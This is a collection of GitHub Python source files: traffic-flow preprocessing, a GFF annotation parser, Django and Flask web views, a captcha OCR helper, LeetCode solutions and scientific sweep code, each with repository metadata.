day_sample, hour_sample = None, None, None\n sequence_length = data_sequence.shape[0]\n\n # 判断数据是否越界\n if label_start_idx + predict_step > sequence_length:\n return week_sample, day_sample, hour_sample, None\n\n # 处理 Week 周期数据\n if num_of_weeks > 0:\n # 获取星期采样数据的时间窗口边界索引\n week_windows_range = search_window_range(\n sequence_length=sequence_length,\n num_of_depend=num_of_weeks,\n label_start_idx=label_start_idx,\n predict_steps=predict_step,\n units=7 * 24,\n points_per_hour=points_per_hour\n )\n # 星期窗口索引边界为空，则本次星期采样不合法\n if not week_windows_range:\n return None, None, None\n # 采集星期样本数据\n week_sample = np.concatenate([data_sequence[i: j]\n for i, j in week_windows_range], axis=0)\n\n # 处理 day 采样数据\n if num_of_days > 0:\n # 获取日采样数据的时间窗口边界索引\n day_window_range = search_window_range(\n sequence_length=sequence_length,\n num_of_depend=num_of_days,\n label_start_idx=label_start_idx,\n predict_steps=predict_step,\n units=24,\n points_per_hour=12\n )\n # 日窗口索引边界为空，则本次日采样不合法\n if not day_window_range:\n return None, None, None, None\n\n day_sample = np.concatenate([data_sequence[i: j]\n for i, j in day_window_range], axis=0)\n\n # 处理 hour 采样数据\n if num_of_hours > 0:\n # 获取小时采样数据的时间窗口边界索引\n hour_window_range = search_window_range(\n sequence_length=sequence_length,\n num_of_depend=num_of_hours,\n label_start_idx=label_start_idx,\n predict_steps=predict_step,\n units=1,\n points_per_hour=points_per_hour\n )\n\n # 小时窗口索引边界为空，则本次小时采样不合法\n if not hour_window_range:\n return None, None, None, None\n\n hour_sample = np.concatenate([data_sequence[i: j]\n for i, j in hour_window_range], axis=0)\n\n # 处理标签\n target = data_sequence[label_start_idx: label_start_idx + predict_step]\n\n return week_sample, day_sample, hour_sample, target\n\n\ndef normalization(train_data: np.ndarray, val_data: np.ndarray, test_data: np.ndarray):\n \"\"\"\n 归一化\n :param train_data: 训练数据\n :param val_data: 验证数据\n :param test_data: 测试数据\n :return: (stats, train_norm, val_norm, test_norm)\n stats: (mean, std)\n train_norm, val_norm, test_norm: np.ndarray(S, N, F, T)\n \"\"\"\n # 确保数据形状相同\n assert train_data.shape[1:] == val_data.shape[1:] and \\\n val_data.shape[1:] == test_data.shape[1:]\n\n mean = train_data.mean(axis=(0, 1, 3), keepdims=True)\n std = train_data.std(axis=(0, 1, 3), keepdims=True)\n\n print('mean.shape:', mean.shape)\n print('std.shape:', std.shape)\n\n def normalize(x):\n return (x - mean) / std\n\n train_norm = normalize(train_data)\n val_norm = normalize(val_data)\n test_norm = normalize(test_data)\n\n return {\"_mean\": mean, \"_std\": std}, train_norm, val_norm, test_norm\n\n\ndef read_save_dataset(flow_matrix_filename: str, num_of_weeks: int, num_of_days: int,\n num_of_hours: int, predict_step: int, points_per_hour: int,\n model_name: str, save_file=False):\n \"\"\"\n 读取并保存数据集，按照时间窗口将数据处理成目标格式\n :param flow_matrix_filename: 流量数据文件路径名称\n :param num_of_weeks: 星期采样\n :param num_of_days: 日采样\n :param num_of_hours: 小时采样\n :param predict_step: 预测时间步\n :param points_per_hour: 每小时时间步数量\n :param model_name: 模型名称\n :param save_file: 是否保存数据文件\n :return: (feature, target)\n feature: np.ndarray(sample_num, num_of_depend x points_per_hour,\n vertices_num, features_num)\n target: np.ndarray(sample_num, vertices_num, feature_num)\n \"\"\"\n # 读取数据文件\n data_seq: np.ndarray = np.load(flow_matrix_filename)['data']\n sequence_length = data_seq.shape[0]\n all_samples = []\n\n # 按照滑动窗口读取预测数据\n for idx in trange(sequence_length):\n sample = get_sample(\n data_sequence=data_seq,\n num_of_weeks=num_of_weeks,\n num_of_days=num_of_days,\n num_of_hours=num_of_hours,\n label_start_idx=idx,\n predict_step=predict_step,\n points_per_hour=points_per_hour\n )\n\n # 若所有采样均非法，跳过本次采样\n if (sample[0] is None) and (sample[1] is None) and (sample[2] is None):\n continue\n\n week_sample, day_sample, hour_sample, target = sample\n # 重整 sample 列表\n sample = []\n\n # 处理周采样数据\n if num_of_weeks > 0:\n # 将时间维度移到最后\n week_sample = np.expand_dims(week_sample, axis=0).transpose((0, 2, 3, 1)) # (1, N, F, T)\n sample.append(week_sample)\n\n # 处理日采样数据\n if num_of_days > 0:\n day_sample = np.expand_dims(day_sample, axis=0).transpose((0, 2, 3, 1)) # (1, N, F, T)\n sample.append(day_sample)\n\n # 处理时采样数据\n if num_of_hours > 0:\n hour_sample = np.expand_dims(hour_sample, axis=0).transpose((0, 2, 3, 1)) # (1, N, F, T)\n sample.append(hour_sample)\n\n # 处理目标数据集\n target = np.expand_dims(target, axis=0).transpose((0, 2, 3, 1))[:, :, 0, :] # (1, N, T)\n sample.append(target)\n\n # 处理时间标签\n time_sample = np.expand_dims(np.array([idx]), axis=0) # (1, 1)\n sample.append(time_sample)\n\n # [(week_sample), (day_sample), (hour_sample), target, time_sample]\n all_samples.append(sample)\n\n # 划分训练集与测试集\n print('=====Split Sequence Data=====')\n train_line = int(len(all_samples) * 0.6)\n test_line = int(len(all_samples) * 0.8)\n\n training_set = [np.concatenate(i, axis=0)\n for i in zip(*all_samples[:train_line])]\n validation_set = [np.concatenate(i, axis=0)\n for i in zip(*all_samples[train_line: test_line])]\n testing_set = [np.concatenate(i, axis=0)\n for i in zip(*all_samples[test_line:])]\n\n # 合并所有采样数据\n train_x = np.concatenate(training_set[:-2], axis=-1)\n val_x = np.concatenate(validation_set[:-2], axis=-1)\n test_x = np.concatenate(testing_set[:-2], axis=-1)\n\n # 获取target集\n train_target = training_set[-2]\n val_target = validation_set[-2]\n test_target = testing_set[-2]\n\n # 获取每次采样的开始时间步\n train_timestamp = training_set[-1]\n val_timestamp = validation_set[-1]\n test_timestamp = testing_set[-1]\n\n stat, train_x_norm, val_x_norm, test_x_norm = normalization(\n train_x, val_x, test_x\n )\n\n all_data = {\n 'train': {\n 'x': train_x_norm,\n 'target': train_target,\n 'timestamp': train_timestamp\n },\n 'val': {\n 'x': val_x_norm,\n 'target': val_target,\n 'timestamp': val_timestamp\n },\n 'test': {\n 'x': test_x_norm,\n 'target': test_target,\n 'timestamp': test_timestamp\n },\n 'stats': {\n '_mean': stat['_mean'],\n '_std': stat['_std']\n }\n }\n\n # 保存训练数据到压缩文件\n if save_file:\n print('=====Saving File=====')\n file_base_name = os.path.basename(flow_matrix_filename).split('.')[0]\n file_dir_name = os.path.dirname(flow_matrix_filename)\n\n file_name = os.path.join(file_dir_name,\n file_base_name + '_r' + str(num_of_hours) +\n '_d' + str(num_of_days) +\n '_w' + str(num_of_weeks)) + '_' + model_name[:-2]\n print('File Name: {}'.format(file_name))\n np.savez_compressed(\n file_name,\n train_x=all_data['train']['x'],\n train_target=all_data['train']['target'],\n train_timestamp=all_data['train']['timestamp'],\n val_x=all_data['val']['x'],\n val_target=all_data['val']['target'],\n val_timestamp=all_data['val']['timestamp'],\n test_x=all_data['test']['x'],\n test_target=all_data['test']['target'],\n test_timestamp=all_data['test']['timestamp'],\n mean=all_data['stats']['_mean'],\n std=all_data['stats']['_std']\n )\n\n return all_data\n\n\nif __name__ == '__main__':\n # prepare dataset\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--config\", default='config/PEMS04_astgcn.conf', type=str,\n help=\"configuration file path\")\n args = parser.parse_args()\n config = configparser.ConfigParser()\n print('Read configuration file: %s' % args.config)\n config.read(args.config)\n data_config = config['Data']\n training_config = config['Training']\n\n # 获取配置\n adj_filename = data_config['adj_filename']\n graph_signal_matrix_filename = data_config['graph_signal_matrix_filename']\n if config.has_option('Data', 'id_filename'):\n id_filename = data_config['id_filename']\n else:\n id_filename = None\n num_of_vertices = int(data_config['num_of_vertices'])\n points_per_hour = int(data_config['points_per_hour'])\n num_for_predict = int(data_config['num_for_predict'])\n len_input = int(data_config['len_input'])\n dataset_name = data_config['dataset_name']\n num_of_weeks = int(training_config['num_of_weeks'])\n num_of_days = int(training_config['num_of_days'])\n num_of_hours = int(training_config['num_of_hours'])\n model_name = training_config['model_name']\n graph_signal_matrix_filename = data_config['graph_signal_matrix_filename']\n data = np.load(graph_signal_matrix_filename)\n\n all_data = read_save_dataset(\n flow_matrix_filename=graph_signal_matrix_filename,\n num_of_weeks=num_of_weeks,\n num_of_days=num_of_days,\n num_of_hours=num_of_hours,\n predict_step=num_for_predict,\n points_per_hour=points_per_hour,\n model_name=model_name,\n save_file=True\n )\n\n print('=====Validation Preprocess Result=====')\n file_data = np.load('./data/{}/{}_r{}_d{}_w{}_{}.npz'.format(\n dataset_name, dataset_name, num_of_hours,\n num_of_days, num_of_weeks, model_name[:-2]\n ))\n print('train_x shape:{}'.format(file_data['train_x'].shape))\n print('train_target shape:{}'.format(file_data['train_target'].shape))\n print('train_timestamp shape:{}'.format(file_data['train_timestamp'].shape))\n print('val_x shape:{}'.format(file_data['val_x'].shape))\n print('val_target shape:{}'.format(file_data['val_target'].shape))\n print('val_timestamp shape:{}'.format(file_data['val_timestamp'].shape))\n print('test_x shape:{}'.format(file_data['test_x'].shape))\n print('test_target shape:{}'.format(file_data['test_target'].shape))\n print('test_timestamp shape:{}'.format(file_data['test_timestamp'].shape))\n print('train std: {}'.format(file_data['std']))\n print('train mean: {}'.format(file_data['mean']))\n","repo_name":"wangy-thu/highway-flow-forecast","sub_path":"prepare_data.py","file_name":"prepare_data.py","file_ext":"py","file_size_in_byte":14040,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"10766483660","text":"import re\n\ngff_filepath = '/PATH/TO/GFF/FILE/gff_file.gff' ### EDIT TO DESIRED PATH AND GFF FILE NAME\n\noutput_file = open('/PATH/TO/WORKING/DIRECTORY/Full_annotation_filename.txt', 'w+') ### EDIT TO DESIRED PATH AND ANNOTATION FILE NAME\n\nwith open(gff_filepath) as fp1:\n for gff_line in fp1:\n if re.match('^#', gff_line):\n next\n else:\n annot_stats = list(gff_line.split(\"\\t\"))\n gene_stats = annot_stats[2]\n Chromosome = annot_stats[0]\n if gene_stats == \"mRNA\":\n gene_start = int(annot_stats[3])\n gene_end = int(annot_stats[4])\n strand = annot_stats[6]\n gene_info = list(annot_stats[8].split(\"=\"))\n gene_ID_stats = list(gene_info[2].split(\";\"))\n gene_ID_Only = gene_ID_stats[0].strip(\"gene-\")\n if strand == \"+\":\n strand_name = \"forward_strand\"\n else:\n strand_name = \"reverse_strand\"\n if re.findall('product', gff_line):\n Protein_info = list(annot_stats[8].split(\"product=\"))\n ProteinName_stats = list(Protein_info[1].split(\";\"))\n ProteinName_Only = ProteinName_stats[0]\n ProteinName_Only = ProteinName_Only.replace(\" \", \"_\")\n Gene_full_name = (gene_ID_Only + '_' + ProteinName_Only)\n print(Chromosome, \"\\t\", Gene_full_name, \"\\t\", gene_start, \"-\", gene_end, \"\\t\", strand_name, file=output_file)\n else:\n Gene_full_name = gene_ID_Only\n print(Chromosome, \"\\t\", Gene_full_name, \"\\t\", gene_start, \"-\", gene_end, \"\\t\", strand_name, file=output_file)\n\n","repo_name":"Haikelnb/scRNASeq_Analysis","sub_path":"Making_Full_annotation_file.py","file_name":"Making_Full_annotation_file.py","file_ext":"py","file_size_in_byte":1763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"70308281369","text":"#!/usr/bin/python3\ndef pascal_triangle(n):\n \"\"\"\n gets pascal triangle for n line,\n \"\"\"\n\n matrix = []\n for i in range(0, n):\n matrixlen = len(matrix)\n if matrixlen <= 1:\n matrix.append([1 for each in range(0, matrixlen + 1)])\n else:\n row = []\n for j in range(0, len(matrix[i - 1]) + 1):\n if j == 0 or j == len(matrix[i - 1]):\n row.append(1)\n else:\n row.append(matrix[i - 1][j - 1] + matrix[i - 1][j])\n matrix.append(row)\n return matrix\n","repo_name":"pizzadelivery01/holbertonschool-higher_level_programming","sub_path":"0x0B-python-input_output/14-pascal_triangle.py","file_name":"14-pascal_triangle.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22754527842","text":"from django.shortcuts import render, redirect, get_object_or_404\nfrom django.contrib.auth.decorators import login_required\nfrom django.views.decorators.cache import cache_page\n\nfrom .models import Post, Group, User, Follow\nfrom .forms import PostForm, CommentForm\nfrom .utils import paginator_self\n\n\n@cache_page(20, key_prefix='index_page')\ndef index(request):\n template = 'posts/index.html'\n post_list = Post.objects.select_related('author', 'group').all()\n page_obj = paginator_self(request, post_list)\n context = {\n 'page_obj': page_obj,\n 'index': True,\n }\n return render(request, template, context)\n\n\ndef group_posts(request, slug):\n template = 'posts/group_list.html'\n group = get_object_or_404(Group, slug=slug)\n post_list = group.posts.all()\n page_obj = paginator_self(request, post_list)\n context = {\n 'group': group,\n 'page_obj': page_obj,\n }\n return render(request, template, context)\n\n\ndef profile(request, username):\n template = 'posts/profile.html'\n author = get_object_or_404(User, username=username)\n user = request.user\n post_list = author.posts.all()\n page_obj = paginator_self(request, post_list)\n following = user.is_authenticated and Follow.objects.filter(\n author=author,\n user=user\n ).exists()\n context = {\n 'author': author,\n 'page_obj': page_obj,\n 'following': following\n }\n return render(request, template, context)\n\n\ndef post_detail(request, post_id):\n template = 'posts/post_detail.html'\n post = get_object_or_404(\n Post.objects.select_related('author', 'group'), id=post_id)\n form = CommentForm()\n comments = post.comments.all()\n context = {\n 'post': post,\n 'form': form,\n 'comments': comments,\n }\n return render(request, template, context)\n\n\n@login_required\ndef post_create(request):\n template = 'posts/post_create.html'\n form = PostForm(request.POST or None, files=request.FILES or None)\n context = {'form': form}\n if not form.is_valid():\n return render(request, template, context)\n post = form.save(commit=False)\n post.author = request.user\n post.save()\n return redirect('posts:profile', username=request.user)\n\n\n@login_required\ndef post_edit(request, post_id):\n template = 'posts/post_create.html'\n post = get_object_or_404(Post, id=post_id)\n if post.author != request.user:\n return redirect('posts:post_detail', post_id=post_id)\n form = PostForm(\n request.POST or None,\n files=request.FILES or None,\n instance=post)\n context = {\n 'post': post,\n 'form': form,\n 'is_edit': True,\n }\n if form.is_valid():\n form.save()\n return redirect('posts:post_detail', post_id=post_id)\n return render(request, template, context)\n\n\n@login_required\ndef post_delete(request, post_id):\n post = get_object_or_404(Post, id=post_id)\n if post.author != request.user:\n return redirect('posts:post_detail', post_id=post_id)\n Post.objects.filter(\n author=request.user,\n id=post.id).delete()\n return redirect('posts:profile', username=request.user)\n\n\n@login_required\ndef add_comment(request, post_id):\n post = get_object_or_404(Post, id=post_id)\n form = CommentForm(request.POST or None)\n if form.is_valid():\n comment = form.save(commit=False)\n comment.author = request.user\n comment.post = post\n comment.save()\n return redirect('posts:post_detail', post_id=post_id)\n\n\n@login_required\ndef follow_index(request):\n post_list = Post.objects.filter(author__following__user=request.user)\n page_obj = paginator_self(request, post_list)\n context = {\n 'page_obj': page_obj,\n 'follow': True,\n }\n return render(request, 'posts/follow.html', context)\n\n\n@login_required\ndef profile_follow(request, username):\n author = get_object_or_404(User, username=username)\n user = request.user\n if author != user:\n Follow.objects.get_or_create(\n user=user,\n author=author\n )\n return redirect('posts:profile', username=author)\n return redirect('posts:profile', username=author)\n\n\n@login_required\ndef profile_unfollow(request, username):\n author = get_object_or_404(User, username=username)\n Follow.objects.filter(\n user=request.user,\n author=author).delete()\n return redirect('posts:profile', username=author)\n","repo_name":"Filosf/hw04_tests","sub_path":"yatube/posts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22457777798","text":"# -*- coding: utf-8 -*-\n# author__ = \"lyao\"\n# version__ = \"1.0.1\"\n# Date: 2017/09/05 20:09\n\nimport requests\nfrom PIL import Image\nfrom io import BytesIO\nimport pytesseract as ocr\n\ndef retrive_img(resp):\n '''获取要识别的图片'''\n img_fp = BytesIO(resp.content)\n return Image.open(img_fp)\ndef process_img(img, threshold=180):\n '''对图片进行二值化 255 是白色 0是黑色'''\n # 灰度转换\n img.show()\n img = img.convert('L')\n # 二值化\n pixels = img.load()\n for x in range(img.width):\n for y in range(img.height):\n pixels[x,y] = 255 if pixels[x,y] > threshold else 0\n return img\n\n\ndef Smooth(Picture):\n '''平滑降噪\n 二值化的图片传入 去除像噪小点\n '''\n Pixels = Picture.load()\n (Width, Height) = Picture.size\n\n xx = [1, 0, -1, 0]\n yy = [0, 1, 0, -1]\n\n for i in xrange(Width):\n for j in xrange(Height):\n if Pixels[i, j] != 255:\n Count = 0\n for k in xrange(4):\n try:\n if Pixels[i + xx[k], j + yy[k]] == 255:\n Count += 1\n except IndexError: # 忽略访问越界的情况\n pass\n if Count > 3:\n Pixels[i, j] = 255\n return Picture\n\ndef recognize(img, lang='eng'):\n return ocr.image_to_string(img, lang)\n\nif __name__ == '__main__':\n recognize(process_img(retrive_img()))","repo_name":"FengLeee/crawlZhiHu","sub_path":"crawlZhiHu/utils/captcha.py","file_name":"captcha.py","file_ext":"py","file_size_in_byte":1479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"32976834332","text":"from flask_restful import Resource, reqparse\nfrom processing.preprocessing.gauss import gauss\nfrom utils.getNewFilePath import getNewFilePath\nimport cv2\n\nclass Gauss(Resource):\n def get(self):\n parser = reqparse.RequestParser()\n parser.add_argument('filePath', type=str)\n parser.add_argument('kernelWidth', type=int)\n parser.add_argument('kernelHeight', type=int)\n parser.add_argument('sigmaX', type=int)\n parser.add_argument('sigmaY', type=int)\n args = parser.parse_args()\n\n srcPath = args['filePath']\n kernelWidth = args['kernelWidth']\n kernelHeight = args['kernelHeight']\n sigmaX = args['sigmaX']\n sigmaY = args['sigmaY']\n\n srcImage = cv2.imread(srcPath, cv2.CV_8UC1)\n processedImage = gauss(srcImage, kernelWidth, kernelHeight, sigmaX, sigmaY)\n newFilePath = getNewFilePath(srcPath, 'preprocessing-gauss')\n\n cv2.imwrite(newFilePath, processedImage)\n\n return {\n 'workingImage': srcPath,\n 'processedImage': newFilePath\n }\n","repo_name":"jakublamprecht/irisRecognition","sub_path":"server/resources/preprocessing/gauss.py","file_name":"gauss.py","file_ext":"py","file_size_in_byte":1075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36469508812","text":"\nimport sys,os\n\nsys.path.append(os.path.dirname(os.path.abspath(__file__)))\nfrom core import src\n\nif __name__==\"__main__\":\n src.run()\n \n from sqlalchemy import * \nfrom sqlalchemy.ext.declarative import declarative_base \nfrom sqlalchemy.orm import relation, sessionmaker \n \nBase = declarative_base() \n \nclass Movie(Base) : \n __tablename__ = 'movies' \n \n id = Column(Integer, primary_key=True) \n title = Column(String(255), nullable=True) \n year = Column(Integer) \n directed_by = Column(Integer, ForeignKey('directors.id')) \n director = relation('Director', backref='movies', lazy=False) \n \n def __init__(self, title=None, year=None) : \n self.title = title \n self.year = year \n \n def __repr__(self) : \n return 'Movie(%r, %r, %r)' % (self.title, self.year, self.director) \n \nclass Director(Base) : \n __tablename__ = 'directors' \n \n id = Column(Integer, primary_key=True) \n name = Column(String(50), nullable=False, unique=True) \n \n def __init__(self, name=None) : \n self.name = name \n \n def __repr__(self) : \n return 'Director(%r)' % (self.name) \n \nBase.metadata.create_all(create_engine('dbms://user:pwd@host/dbname'))\n","repo_name":"leozxq/ATM","sub_path":"start.py","file_name":"start.py","file_ext":"py","file_size_in_byte":1209,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"11092874812","text":"\"\"\"\nWe define a harmonious array as an array where the difference between its maximum value and its minimum value is exactly 1. Given an integer array nums, return the length of its longest harmonious subsequence among all its possible subsequences.\nA subsequence of array is a sequence that can be derived from the array by deleting some or no elements without changing the order of the remaining elements.\n\nInput: nums = [1,3,2,2,5,2,3,7]\nOutput: 5 Explanation: The longest harmonious subsequence is [3,2,2,2,3].\n\nInput: nums = [1,2,3,4]\nOutput: 2\n\nInput: nums = [1,1,1,1]\nOutput: 0\n\"\"\"\n\nimport collections\n\n\nclass Solution:\n def findLHS(self, nums: list) -> int:\n\n max_count = 0\n counts = {}\n\n # counts = collections.Counter(nums)\n # for i in nums:\n # if i + 1 in counts:\n # max_count = max(max_count, counts[i] + counts[i + 1])\n\n for i in nums:\n counts[i] = counts.get(i, 0) + 1\n if i + 1 in counts:\n max_count = max(max_count, counts[i] + counts[i + 1])\n\n if i - 1 in counts:\n max_count = max(max_count, counts[i] + counts[i - 1])\n\n return max_count\n\n\nprint(Solution().findLHS([1, 3, 2, 2, 5, 2, 3, 7]))\n# print(Solution().findLHS([1, 1, 1, 1]))\n","repo_name":"sdas13/DSA-Problems","sub_path":"hash table/easy/6. harmonic-subsequence.py","file_name":"6. harmonic-subsequence.py","file_ext":"py","file_size_in_byte":1285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"32845156136","text":"from django import forms\n\nfrom ..models import ExpenseCategory, Expense\n\n\nclass CreateExpenseCategoryForm(forms.ModelForm):\n class Meta:\n model = ExpenseCategory\n fields = '__all__'\n widgets = {\n 'user': forms.HiddenInput,\n }\n\n\nclass CreateExpenseForm(forms.ModelForm):\n class Meta:\n model = Expense\n fields = '__all__'\n widgets = {\n 'user': forms.HiddenInput,\n 'date': forms.DateInput(attrs={'type': 'date'}),\n }\n","repo_name":"trk9001/expensify","sub_path":"core/forms/expense.py","file_name":"expense.py","file_ext":"py","file_size_in_byte":509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"18045650477","text":"from flask import Blueprint, request\nfrom flask_login import login_required, current_user\nfrom app.models import Trail, db\nfrom app.forms import TrailForm\nfrom app.api.auth_routes import validation_errors_to_error_messages\nfrom datetime import date\nfrom app.sw3_upload import (upload_file_to_s3, allowed_file, get_unique_filename)\n\ntrail_routes = Blueprint('trails', __name__)\n\n\n# CREATE\n\n# CREATE A TRAIL\n@trail_routes.route('/', methods=[\"POST\"])\n@login_required\ndef create_trail():\n if \"previewImg\" not in request.files:\n return {\"errors\": \"image required\"}, 400\n\n image = request.files[\"previewImg\"]\n\n if not allowed_file(image.filename):\n return {\"errors\": \"file type not permitted\"}, 400\n \n image.filename = get_unique_filename(image.filename)\n\n upload = upload_file_to_s3(image)\n\n if \"url\" not in upload:\n # if the dictionary doesn't have a url key\n # it means that there was an error when we tried to upload\n # so we send back that error message\n return upload, 400\n\n url = upload[\"url\"]\n\n trailform = TrailForm()\n trailform['csrf_token'].data = request.cookies['csrf_token']\n if trailform.validate_on_submit():\n created_trail = Trail(\n name = trailform.data['name'],\n city = trailform.data['city'],\n country = trailform.data['country'],\n state = trailform.data['state'],\n resort = trailform.data['resort'],\n difficulty = trailform.data['difficulty'],\n description = trailform.data['description'],\n length = trailform.data['length'],\n elevation = trailform.data['elevation'],\n routeType = trailform.data['routeType'],\n previewImg = url,\n createdAt = date.today(),\n updatedAt = date.today(),\n userId = current_user.id\n )\n\n db.session.add(created_trail)\n db.session.commit()\n return created_trail.to_dict()\n return {'errors': validation_errors_to_error_messages(trailform.errors)}, 400\n# READ\n\n# GET ALL TRAILS\n@trail_routes.route('/')\ndef get_all_trails():\n trails = Trail.query.all()\n if trails is None:\n return {'errors': 'Trail not found'}, 404\n\n return {'trails': [trail.to_dict() for trail in trails]}\n\n# GET CURRENT USER'S TRAILS\n@trail_routes.route('/current')\n@login_required\ndef get_currentuser_trail():\n trails = Trail.query.filter(Trail.userId == current_user.id)\n if trails is None:\n return {'errors': 'Trail not found'}, 404\n return {'trails': [trail.to_dict() for trail in trails]}\n \n# GET A TRAIL BY ID\n@trail_routes.route('/') \ndef get_trail_by_id(id):\n trails = Trail.query.get(id)\n if trails is None:\n return {'errors': 'Trail not found'}, 404\n return trails.to_dict()\n# UPDATE\n\n# UPDATE A TRAIL\n@trail_routes.route('/', methods=[\"PUT\"])\n@login_required\ndef update_trail(id):\n trailform = TrailForm()\n trailform['csrf_token'].data = request.cookies['csrf_token']\n\n if \"previewImg\" not in request.files:\n url = trailform.data['previewImg']\n else:\n image = request.files[\"previewImg\"]\n\n if not allowed_file(image.filename):\n return {\"errors\": \"file type not permitted\"}, 400\n \n image.filename = get_unique_filename(image.filename)\n\n upload = upload_file_to_s3(image)\n\n if \"url\" not in upload:\n # if the dictionary doesn't have a url key\n # it means that there was an error when we tried to upload\n # so we send back that error message\n return upload, 400\n\n url = upload[\"url\"]\n updated_trail = Trail.query.get(id)\n if updated_trail is None:\n return {'errors': 'Trail not found'}, 404\n if trailform.validate_on_submit():\n updated_trail.name = trailform.data['name']\n updated_trail.city = trailform.data['city']\n updated_trail.country = trailform.data['country']\n updated_trail.state = trailform.data['state']\n updated_trail.resort = trailform.data['resort']\n updated_trail.difficulty = trailform.data['difficulty']\n updated_trail.description = trailform.data['description']\n updated_trail.length = trailform.data['length']\n updated_trail.elevation = trailform.data['elevation']\n updated_trail.routeType = trailform.data['routeType']\n updated_trail.previewImg = url\n updated_trail.updatedAt = date.today()\n db.session.commit()\n return updated_trail.to_dict()\n return {'errors': validation_errors_to_error_messages(trailform.errors)}, 400\n\n\n# DELETE\n\n# DELETE A TRAIL\n@trail_routes.route('/', methods=[\"DELETE\"])\n@login_required\ndef delete_trail(id):\n deleted_trail = Trail.query.get(id)\n if deleted_trail is None:\n return {'errors': 'Trail not found'}, 404\n db.session.delete(deleted_trail)\n db.session.commit()\n return {'message': f'Trail {id} has been deleted successfully.'}","repo_name":"kevykim/CapStone-Project","sub_path":"app/api/trail_routes.py","file_name":"trail_routes.py","file_ext":"py","file_size_in_byte":4989,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"27977224536","text":"import itertools\nimport numpy as np\n\nfrom auspex.parameter import ParameterGroup, FloatParameter, IntParameter, Parameter\nfrom auspex.stream import DataStream, DataAxis, SweepAxis, DataStreamDescriptor, InputConnector, OutputConnector\nfrom auspex.log import logger\n\nclass Sweeper(object):\n \"\"\" Control center of sweep axes \"\"\"\n def __init__(self):\n self.axes = []\n logger.debug(\"Generate Sweeper.\")\n\n def swept_parameters(self):\n swept_axes = []\n for a in self.axes:\n if a.unstructured:\n swept_axes.extend(a.parameter)\n else:\n swept_axes.append(a.parameter)\n return swept_axes\n\n def add_sweep(self, axis):\n self.axes.append(axis)\n logger.debug(\"Add sweep axis to sweeper object: {}\".format(axis))\n\n def update(self):\n \"\"\" Update the levels \"\"\"\n imax = len(self.axes)-1\n if imax < 0:\n logger.debug(\"There are no sweep axis, only data axes.\")\n return None, None\n else:\n i=0\n while i inner axis\n for j in range(i,-1,-1):\n self.axes[j].update()\n\n # At this point all of the updates should have happened\n # return the current coordinates of the sweep. Return the\n # reversed list since we store \"innermost\" axes last.\n values = []\n names = []\n for a in self.axes[::-1]:\n names.append(a.name)\n if a.metadata is not None:\n if type(a.value) in [np.ndarray, list]:\n values.append(tuple(list(a.value) + [a.metadata_value]))\n else:\n values.append((a.value, a.metadata_value))\n else:\n if type(a.value) in [np.ndarray, list]:\n values.append(tuple(a.value))\n else:\n values.append((a.value,))\n return values, names\n\n def is_adaptive(self):\n return True in [a.refine_func is not None for a in self.axes]\n\n def check_for_refinement(self, output_connectors_dict):\n refined_axes = []\n for a in self.axes:\n if a.check_for_refinement(output_connectors_dict):\n refined_axes.append(a.name)\n break\n if len(refined_axes) > 1:\n raise Exception(\"More than one axis trying to refine simultaneously. This cannot be tolerated.\")\n\n def done(self):\n return np.all([a.done for a in self.axes])\n\n def __repr__(self):\n return \"Sweeper\"\n","repo_name":"BBN-Q/Auspex","sub_path":"src/auspex/sweep.py","file_name":"sweep.py","file_ext":"py","file_size_in_byte":2649,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"31"} +{"seq_id":"7110388900","text":"from datetime import datetime\nfrom dataclasses import dataclass\n\nimport marshmallow as ma\nimport marshmallow.fields as mf\nimport pytz\n\n\nclass DatetimeQueryParametersSchema(ma.Schema):\n start_date = mf.DateTime(required=True)\n end_date = mf.DateTime(required=True)\n\n @ma.validates_schema\n def validate_dateformat(self, data, **kwargs):\n if not data.get('start_date'):\n return\n\n errors = {}\n # Can't compare tz naive and aware datetimes, so make everything UTC.\n start_date = data['start_date'].astimezone(pytz.UTC)\n today = datetime.now(pytz.UTC)\n\n if data.get('end_date'):\n end_date = data['end_date'].astimezone(pytz.UTC)\n else:\n end_date = today\n\n if start_date > end_date:\n errors['start_date'] = ['start_date should be less than end_date']\n\n if errors:\n raise ma.ValidationError(errors)\n\n @ma.post_load\n def convert_to_utc(self, data, **kwargs):\n # If not timezone is specified, add the UTC timezone\n if data['start_date'].tzinfo is None:\n data['start_date'] = data['start_date'].replace(tzinfo=pytz.UTC)\n\n if data['end_date'].tzinfo is None:\n data['end_date'] = data['end_date'].replace(tzinfo=pytz.UTC)\n\n return data\n\n\n@dataclass\nclass DatetimeQueryParameters:\n start_date: datetime = None\n end_date: datetime = None\n","repo_name":"WonderCode22/servicenow_component","sub_path":"service_now_service/models/datefilter.py","file_name":"datefilter.py","file_ext":"py","file_size_in_byte":1415,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"43119439146","text":"import asyncio\nimport logging\n\nfrom typing import Any, Union, TYPE_CHECKING, List, Optional, Dict, cast\nfrom uamqp import constants\n\nfrom azure.core.credentials import AzureSasCredential, AzureNamedKeyCredential\n\nfrom ..exceptions import ConnectError, EventHubError\nfrom ..amqp import AmqpAnnotatedMessage\nfrom ._client_base_async import ClientBaseAsync\nfrom ._producer_async import EventHubProducer\nfrom .._constants import ALL_PARTITIONS\nfrom .._common import EventDataBatch, 